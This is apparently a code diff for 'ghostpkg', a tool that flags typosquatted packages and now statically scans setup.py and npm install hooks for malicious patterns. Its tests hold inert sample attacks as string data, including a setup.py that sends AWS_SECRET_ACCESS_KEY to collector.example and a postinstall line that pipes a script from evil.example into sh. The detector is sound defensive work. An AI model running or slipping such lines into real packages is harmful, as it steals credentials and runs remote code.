+ r"(urllib\.request|urlopen|requests\.(get|post)|socket\.socket|"
68
+ r"http\.client|child_process[\s\S]{0,80}(curl|wget)|"
69
+ r"\bcurl\s+-|\bwget\s+http)",
70
+ re.IGNORECASE,
71
+ ),
72
+ ),
73
+ (
74
+ "subprocess",
75
+ "runs a shell command at install time",
76
+ re.compile(
77
+ r"(subprocess\.(run|call|Popen|check_output)|os\.system|os\.popen|"
78
+ r"child_process|execSync|spawnSync)",
79
+ ),
80
+ ),
81
+ (
82
+ "encoded-payload",
83
+ "decodes an encoded blob at install time",
84
+ re.compile(
85
+ r"(base64\.(b64decode|decodebytes)|Buffer\.from\([^)]*base64|"
86
+ r"codecs\.decode\([^)]*(rot13|hex)|bytes\.fromhex)",
87
+ ),
88
+ ),
89
+ (
90
+ "dynamic-exec",
91
+ "executes code it decoded or fetched at install time",
92
+ # Bare exec()/compile() appears in legitimate setup.py files that read a
93
+ # version string out of a source file, so it is only interesting when
94
+ # what gets executed was decoded or downloaded first.
95
+ re.compile(
96
+ r"(\beval\(|\bexec\(|new Function\()[^)\n]{0,200}"
97
+ r"(b64decode|\.decode\(|urlopen|requests\.|fromhex|Buffer\.from)",
98
+ ),
99
+ ),
100
+ )
101
+
102
+ # A long unbroken base64-looking run is worth flagging on its own.
103
+ BLOB = re.compile(r"['\"][A-Za-z0-9+/]{220,}={0,2}['\"]")
104
+
105
+
106
+ class InspectionError(RuntimeError):
107
+ """The archive could not be retrieved or read."""
108
+
109
+
110
+ def scan_text(text: str, where: str) -> list[Signal]:
111
+ """Pattern-match one install script. Never executes anything."""
112
+ found: list[Signal] = []
113
+ seen: set[str] = set()
114
+ for kind, detail, pattern in PATTERNS:
115
+ if kind in seen:
116
+ continue
117
+ if pattern.search(text):
118
+ found.append(Signal(kind, detail, where))
119
+ seen.add(kind)
120
+ if BLOB.search(text) and "encoded-payload" not in seen:
121
+ found.append(Signal("encoded-payload", "contains a large encoded blob", where))
122
+ return found
123
+
124
+
125
+ def _download(url: str, limit: int = MAX_ARCHIVE_BYTES) -> bytes:
126
+ request = urllib.request.Request(url, headers={"User-Agent": USER_AGENT})
127
+ try:
128
+ with urllib.request.urlopen(request, timeout=TIMEOUT) as response:
129
+ data = response.read(limit + 1)
130
+ except Exception as exc: # noqa: BLE001 - any failure is just "can't inspect"
131
+ raise InspectionError(f"could not download {url}: {exc}") from exc
132
+ if len(data) > limit:
133
+ raise InspectionError("archive is larger than the inspection limit")
134
+ return data
135
+
136
+
137
+ def _read_member(handle, member, size: int) -> str | None:
138
+ if size > MAX_MEMBER_BYTES:
139
+ return None
140
+ try:
141
+ extracted = handle.extractfile(member) if hasattr(handle, "extractfile") else None
142
+ raw = extracted.read(MAX_MEMBER_BYTES) if extracted else handle.read(member)
143
+ except Exception: # noqa: BLE001
144
+ return None
145
+ return raw.decode("utf-8", errors="replace")
146
+
147
+
148
+ def _interesting(path: str, ecosystem: str) -> bool:
149
+ name = path.rsplit("/", 1)[-1]
150
+ if ecosystem == "npm":
151
+ return name == "package.json"
152
+ return name in PY_INSTALL_FILES
153
+
154
+
155
+ def _npm_hook_source(text: str) -> str:
156
+ """The install hooks out of a package.json, as one blob of text."""
157
+ import json
158
+
159
+ try:
160
+ data = json.loads(text)
161
+ except ValueError:
162
+ return ""
163
+ scripts = data.get("scripts")
164
+ if not isinstance(scripts, dict):
165
+ return ""
166
+ return "\n".join(
167
+ str(scripts[hook]) for hook in NPM_INSTALL_HOOKS if scripts.get(hook)
168
+ )
169
+
170
+
171
+ def inspect_archive(data: bytes, ecosystem: str) -> list[Signal]:
172
+ """Walk an archive in memory and scan its install-time files."""
173
+ signals: list[Signal] = []
174
+ buffer = io.BytesIO(data)
175
+
176
+ try:
177
+ if data[:2] == b"PK":
178
+ with zipfile.ZipFile(buffer) as archive:
179
+ for info in archive.infolist()[:MAX_MEMBERS]:
180
+ if info.is_dir() or not _interesting(info.filename, ecosystem):
181
+ continue
182
+ text = _read_member(archive, info.filename, info.file_size)
183
+ if text is None:
184
+ continue
185
+ if ecosystem == "npm":
186
+ text = _npm_hook_source(text)
187
+ if text.strip():
188
+ signals += scan_text(text, info.filename.rsplit("/", 1)[-1])
189
+ else:
190
+ with tarfile.open(fileobj=buffer, mode="r:*") as archive:
191
+ for member in archive.getmembers()[:MAX_MEMBERS]:
192
+ if not member.isfile() or not _interesting(member.name, ecosystem):
193
+ continue
194
+ text = _read_member(archive, member, member.size)
195
+ if text is None:
196
+ continue
197
+ if ecosystem == "npm":
198
+ text = _npm_hook_source(text)
199
+ if text.strip():
200
+ signals += scan_text(text, member.name.rsplit("/", 1)[-1])
201
+ except (tarfile.TarError, zipfile.BadZipFile, EOFError, OSError) as exc:
202
+ raise InspectionError(f"could not read archive: {exc}") from exc
203
+
204
+ # keep the first signal of each kind, most alarming first
205
+ order = {kind: i for i, (kind, _, _) in enumerate(PATTERNS)}
206
+ unique: dict[str, Signal] = {}
207
+ for signal in signals:
208
+ unique.setdefault(signal.kind, signal)
209
+ return sorted(unique.values(), key=lambda s: order.get(s.kind, 99))
210
+
211
+
212
+ def inspect_package(archive_url: str, ecosystem: str) -> list[Signal]:
213
+ """Download and statically inspect one package's install-time code."""
214
+ return inspect_archive(_download(archive_url), ecosystem)
@@ -33,6 +33,9 @@ class PackageFacts:
33
33
  has_repo_url: bool = False
34
34
  latest_version: str | None = None
35
35
  summary: str | None = None
36
+ # Where the source archive lives, for --deep install-script inspection.
37
+ archive_url: str | None = None
38
+ archive_size: int | None = None
36
39
 
37
40
 
38
41
  def _get_json(url: str) -> dict | None:
@@ -79,6 +82,14 @@ def fetch_pypi(name: str) -> PackageFacts:
79
82
  project_urls = info.get("project_urls") or {}
80
83
  home_page = info.get("home_page") or ""
81
84
 
85
+ # Prefer the sdist: it carries setup.py, which a wheel does not.
86
+ archive_url = archive_size = None
87
+ for entry in payload.get("urls") or []:
88
+ if entry.get("packagetype") == "sdist":
89
+ archive_url = entry.get("url")
90
+ archive_size = entry.get("size")
91
+ break
92
+
82
93
  return PackageFacts(
83
94
  name=name,
84
95
  ecosystem="pypi",
@@ -88,6 +99,8 @@ def fetch_pypi(name: str) -> PackageFacts:
88
99
  has_repo_url=bool(project_urls) or bool(home_page),
89
100
  latest_version=info.get("version"),
90
101
  summary=info.get("summary") or None,
102
+ archive_url=archive_url,
103
+ archive_size=archive_size,
91
104
  )
92
105
 
93
106
 
@@ -105,6 +118,9 @@ def fetch_npm(name: str) -> PackageFacts:
105
118
  repository = payload.get("repository") or {}
106
119
  homepage = payload.get("homepage") or ""
107
120
 
121
+ latest = (payload.get("dist-tags") or {}).get("latest")
122
+ dist = ((versions.get(latest) or {}).get("dist") or {}) if latest else {}
123
+
108
124
  return PackageFacts(
109
125
  name=name,
110
126
  ecosystem="npm",
@@ -112,8 +128,10 @@ def fetch_npm(name: str) -> PackageFacts:
112
128
  age_days=age,
113
129
  release_count=len(versions),
114
130
  has_repo_url=bool(repository.get("url")) or bool(homepage),
115
- latest_version=(payload.get("dist-tags") or {}).get("latest"),
131
+ latest_version=latest,
116
132
  summary=payload.get("description") or None,
133
+ archive_url=dist.get("tarball"),
134
+ archive_size=dist.get("unpackedSize"),
117
135
  )
118
136
 
119
137
 
@@ -4,7 +4,7 @@ build-backend = "hatchling.build"
4
4
 
5
5
  [project]
6
6
  name = "ghostpkg"
7
- version = "0.4.0"
7
+ version = "0.6.0"
8
8
  description = "Catch package names that do not exist before you install them"
9
9
  readme = "README.en.md" # English page for PyPI; the repo main page is Ukrainian
10
10
  requires-python = ">=3.9"
@@ -162,3 +162,61 @@ class TestNoFalsePositivesOnPopularNames:
162
162
  def test_no_popular_npm_name_is_flagged(self):
163
163
  flagged = [n for n in TOP_NPM if nearest_popular(n, "npm") is not None]
164
164
  assert flagged == []
165
+
166
+
167
+ class TestAbandonedLookalikes:
168
+ """Age was the wrong gate for typo detection.
169
+
170
+ `expresss` has sat on npm since 2016 with one release, no repository link,
171
+ and roughly 2,500 downloads a month arriving purely from other people's
172
+ typos. It is ten years old, so an age gate let it straight through.
173
+ """
174
+
175
+ def old_squat(self, **overrides):
176
+ base = dict(
177
+ name="expresss",
178
+ ecosystem="npm",
179
+ exists=True,
180
+ age_days=3400,
181
+ release_count=1,
182
+ has_repo_url=False,
183
+ )
184
+ base.update(overrides)
185
+ return PackageFacts(**base)
186
+
187
+ def test_old_parked_lookalike_is_flagged(self):
188
+ finding = assess(self.old_squat())
189
+ assert finding.verdict is Verdict.WARN
190
+ assert any("express" in reason for reason in finding.reasons)
191
+
192
+ def test_reason_says_why_rather_than_calling_it_new(self):
193
+ finding = assess(self.old_squat())
194
+ assert any("one release, no repository" in r for r in finding.reasons)
195
+ assert not any("recently published" in r for r in finding.reasons)
196
+
197
+ def test_a_maintained_lookalike_is_left_alone(self):
198
+ """Sibling packages in a family sit close together -- dagster-k8s is two
199
+ edits from dagster-aws -- and they are maintained."""
200
+ finding = assess(self.old_squat(release_count=630, has_repo_url=True))
201
+ assert finding.verdict is Verdict.OK
202
+
203
+ def test_releases_alone_are_not_enough_to_fire(self):
204
+ """Measured on 120 real lookalike-shaped packages, few-releases alone
205
+ was wrong 10% of the time."""
206
+ finding = assess(self.old_squat(release_count=1, has_repo_url=True))
207
+ assert not any("away from" in r for r in finding.reasons)
208
+
209
+ def test_missing_repo_alone_is_not_enough_to_fire(self):
210
+ """And no-repository alone was wrong 5.8% of the time."""
211
+ finding = assess(self.old_squat(release_count=40, has_repo_url=False))
212
+ assert not any("away from" in r for r in finding.reasons)
213
+
214
+ def test_a_defensively_held_name_passes(self):
215
+ """npm parks some names itself, with a repository link on the holder."""
216
+ finding = assess(
217
+ PackageFacts(
218
+ name="lodahs", ecosystem="npm", exists=True, age_days=2100,
219
+ release_count=1, has_repo_url=True,
220
+ )
221
+ )
222
+ assert finding.verdict is Verdict.OK
@@ -0,0 +1,217 @@
1
+ """Tests for static inspection of install-time code.
2
+
3
+ Archives are built in memory, so the suite stays offline. Nothing here executes
4
+ any of the sample code -- the module it tests only ever reads text.
5
+
6
+ The malicious samples are shaped after publicly documented slopsquat setup.py
7
+ and npm install-hook patterns. They are deliberately inert.
8
+ """
9
+
10
+ from __future__ import annotations
11
+
12
+ import io
13
+ import json
14
+ import tarfile
15
+ import zipfile
16
+
17
+ import pytest
18
+
19
+ from ghostpkg.assess import Verdict, assess
20
+ from ghostpkg.inspection import (
21
+ MAX_ARCHIVE_BYTES,
22
+ InspectionError,
23
+ inspect_archive,
24
+ scan_text,
25
+ )
26
+ from ghostpkg.registries import PackageFacts
27
+
28
+
29
+ # SAFETY: the strings below are sample *data*, not code. They are written into
30
+ # in-memory tar/zip archives and then pattern-matched as text. Nothing in this
31
+ # file -- or in the module it tests -- ever imports, compiles or executes them.
32
+ # They exist so the detector can be proved to fire on the shapes that matter.
33
+
34
+
35
+ def sdist(setup_py: str, extra: dict | None = None) -> bytes:
36
+ buffer = io.BytesIO()
37
+ with tarfile.open(fileobj=buffer, mode="w:gz") as archive:
38
+ for path, text in {"pkg-1.0/setup.py": setup_py, **(extra or {})}.items():
39
+ data = text.encode()
40
+ info = tarfile.TarInfo(path)
41
+ info.size = len(data)
42
+ archive.addfile(info, io.BytesIO(data))
43
+ return buffer.getvalue()
44
+
45
+
46
+ def npm_tarball(scripts: dict) -> bytes:
47
+ buffer = io.BytesIO()
48
+ with tarfile.open(fileobj=buffer, mode="w:gz") as archive:
49
+ data = json.dumps({"name": "x", "version": "1.0.0", "scripts": scripts}).encode()
50
+ info = tarfile.TarInfo("package/package.json")
51
+ info.size = len(data)
52
+ archive.addfile(info, io.BytesIO(data))
53
+ return buffer.getvalue()
54
+
55
+
56
+ class TestCatchesMaliciousShapes:
57
+ def test_environment_read_sent_over_the_network(self):
58
+ signals = inspect_archive(
59
+ sdist(
60
+ "import os, urllib.request\n"
61
+ "key = os.environ.get('AWS_SECRET_ACCESS_KEY')\n"
62
+ "urllib.request.urlopen('http://collector.example/x?d=' + str(key))\n"
63
+ ),
64
+ "pypi",
65
+ )
66
+ assert "exfiltration" in {s.kind for s in signals}
67
+
68
+ def test_decoded_payload_executed(self):
69
+ signals = inspect_archive(
70
+ sdist("import base64\nexec(base64.b64decode('aW1wb3J0IG9z'))\n"), "pypi"
71
+ )
72
+ kinds = {s.kind for s in signals}
73
+ assert "encoded-payload" in kinds
74
+ assert "dynamic-exec" in kinds
75
+
76
+ def test_shell_command_at_install(self):
77
+ signals = inspect_archive(
78
+ sdist("import subprocess\nsubprocess.Popen(['sh', '-c', 'id'])\n"), "pypi"
79
+ )
80
+ assert "subprocess" in {s.kind for s in signals}
81
+
82
+ def test_large_encoded_blob(self):
83
+ blob = "QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVowMTIzNDU2Nzg5" * 6
84
+ signals = inspect_archive(sdist(f'PAYLOAD = "{blob}"\n'), "pypi")
85
+ assert "encoded-payload" in {s.kind for s in signals}
86
+
87
+ def test_npm_postinstall_piping_to_shell(self):
88
+ signals = inspect_archive(
89
+ npm_tarball({"postinstall": "curl -s http://evil.example/i.sh | sh"}), "npm"
90
+ )
91
+ assert signals
92
+
93
+ def test_npm_preinstall_decoding_from_env(self):
94
+ signals = inspect_archive(
95
+ npm_tarball(
96
+ {"preinstall": "node -e \"eval(Buffer.from(process.env.X,'base64'))\""}
97
+ ),
98
+ "npm",
99
+ )
100
+ assert signals
101
+
102
+
103
+ class TestLeavesLegitimateCodeAlone:
104
+ """Measured against real packages this flagged 0 of 27 established and 0 of
105
+ 32 published-that-day. These are the shapes that made earlier, looser
106
+ patterns fire."""
107
+
108
+ def test_ordinary_setup_py(self):
109
+ assert not inspect_archive(
110
+ sdist(
111
+ "from setuptools import setup, find_packages\n"
112
+ "setup(name='x', version='1.0', packages=find_packages(),\n"
113
+ " install_requires=['requests>=2'])\n"
114
+ ),
115
+ "pypi",
116
+ )
117
+
118
+ def test_version_read_with_exec(self):
119
+ """A very common idiom: exec a _version.py to read __version__."""
120
+ assert not inspect_archive(
121
+ sdist(
122
+ "version = {}\n"
123
+ "with open('pkg/_version.py') as f:\n"
124
+ " exec(f.read(), version)\n"
125
+ ),
126
+ "pypi",
127
+ )
128
+
129
+ def test_reads_a_build_flag_from_the_environment(self):
130
+ """Inspecting build flags is ordinary; it fired on flask, pyyaml and
131
+ setuptools when environment reads were a signal on their own."""
132
+ assert not inspect_archive(
133
+ sdist("import os\nEXT = not os.environ.get('NO_EXT')\n"), "pypi"
134
+ )
135
+
136
+ def test_npm_without_install_hooks(self):
137
+ assert not inspect_archive(
138
+ npm_tarball({"build": "tsc", "test": "jest", "start": "node ."}), "npm"
139
+ )
140
+
141
+ def test_test_files_are_not_install_time(self):
142
+ """conftest.py runs during testing, never on install. Scanning it was a
143
+ mistake in the first version."""
144
+ assert not inspect_archive(
145
+ sdist(
146
+ "from setuptools import setup\nsetup(name='x')\n",
147
+ extra={"pkg-1.0/conftest.py": "import subprocess\nsubprocess.run(['x'])\n"},
148
+ ),
149
+ "pypi",
150
+ )
151
+
152
+
153
+ class TestArchiveHandling:
154
+ def test_zip_archives_are_read(self):
155
+ buffer = io.BytesIO()
156
+ with zipfile.ZipFile(buffer, "w") as archive:
157
+ archive.writestr("pkg-1.0/setup.py", "import subprocess\nsubprocess.run([])\n")
158
+ assert inspect_archive(buffer.getvalue(), "pypi")
159
+
160
+ def test_unreadable_archive_raises_inspection_error(self):
161
+ with pytest.raises(InspectionError):
162
+ inspect_archive(b"this is not an archive at all", "pypi")
163
+
164
+ def test_oversized_member_is_skipped_not_read(self):
165
+ """Guards against a decompression bomb rather than trusting the size."""
166
+ huge = "import subprocess\n" + ("# padding\n" * 200000)
167
+ assert not inspect_archive(sdist(huge), "pypi")
168
+
169
+ def test_download_limit_is_bounded(self):
170
+ assert MAX_ARCHIVE_BYTES <= 16 * 1024 * 1024
171
+
172
+ def test_each_signal_kind_reported_once(self):
173
+ signals = inspect_archive(
174
+ sdist("import subprocess\nsubprocess.run([])\nsubprocess.Popen([])\n"), "pypi"
175
+ )
176
+ assert len({s.kind for s in signals}) == len(signals)
177
+
178
+ def test_scan_text_names_where_it_looked(self):
179
+ signals = scan_text("import subprocess\nsubprocess.run([])\n", "setup.py")
180
+ assert signals[0].where == "setup.py"
181
+ assert "setup.py" in str(signals[0])
182
+
183
+
184
+ class TestVerdictPolicy:
185
+ def facts(self, **overrides):
186
+ base = dict(
187
+ name="example",
188
+ ecosystem="pypi",
189
+ exists=True,
190
+ age_days=5,
191
+ release_count=1,
192
+ has_repo_url=False,
193
+ )
194
+ base.update(overrides)
195
+ return PackageFacts(**base)
196
+
197
+ def signal(self):
198
+ return scan_text("import subprocess\nsubprocess.run([])\n", "setup.py")
199
+
200
+ def test_young_package_with_install_signals_is_blocked(self):
201
+ """Unlike age, this measured as specific enough to block: 0 false
202
+ positives across 59 real packages, all 6 malicious shapes caught."""
203
+ finding = assess(self.facts(), signals=self.signal())
204
+ assert finding.verdict is Verdict.BLOCK
205
+
206
+ def test_established_package_with_install_signals_only_warns(self):
207
+ """Old packages do sometimes build things at install time, and the
208
+ sample behind this judgement is small."""
209
+ finding = assess(self.facts(age_days=3000), signals=self.signal())
210
+ assert finding.verdict is Verdict.WARN
211
+
212
+ def test_no_signals_keeps_the_previous_behaviour(self):
213
+ assert assess(self.facts(), signals=[]).verdict is Verdict.WARN
214
+
215
+ def test_the_evidence_is_reported(self):
216
+ finding = assess(self.facts(), signals=self.signal())
217
+ assert any("setup.py" in reason for reason in finding.reasons)
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes